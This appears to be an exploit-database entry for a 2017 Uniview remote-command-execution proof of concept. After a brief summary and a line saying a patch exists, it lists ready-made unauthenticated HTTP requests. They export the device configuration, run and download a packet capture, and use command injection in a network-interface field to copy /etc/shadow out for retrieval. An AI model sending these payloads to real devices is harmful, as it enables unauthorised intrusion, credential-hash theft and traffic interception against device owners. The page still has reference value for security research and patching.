header-logo
Suggest Exploit
vendor:
Uniview
by:
bashis
8,8
CVSS
HIGH
Remote Command Execution
78
CWE
Product Name: Uniview
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: YES
Related CWE: None
CPE: None
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Unknown
2017

Uniview RCE and export config PoC

A vulnerability in Uniview allows an attacker to remotely execute commands and export config without authentication. The attacker can send a malicious payload to the Uniview device via a specially crafted HTTP request. This payload will be executed on the device, allowing the attacker to gain access to the device and its configuration.

Mitigation:

The vendor has released a patch to address this vulnerability.
Source

Exploit-DB raw data:

[STX]

Subject: Uniview RCE and export config PoC
Researcher: bashis <mcw noemail eu> (October 2017)

Attack Vector: Remote
Authentication: Anonymous (no credentials needed)

[Export config]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}

-[tcpdump]-

[check active capture]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":263,"szUserName":"","u32UserLoginHandle":-1}

[start capture]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":1,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":"eth0"}

[stop capture]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":0,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":"eth0"}

[download capture]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":265,"szUserName":"","u32UserLoginHandle":-1}

-[Remote Command Execution]-

[Get /etc/shadow]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":1,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":";cp%20/etc/shadow%20/tmp/packetcapture.pcap;"}

[get the result]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":265,"szUserName":"","u32UserLoginHandle":-1}

[ETX]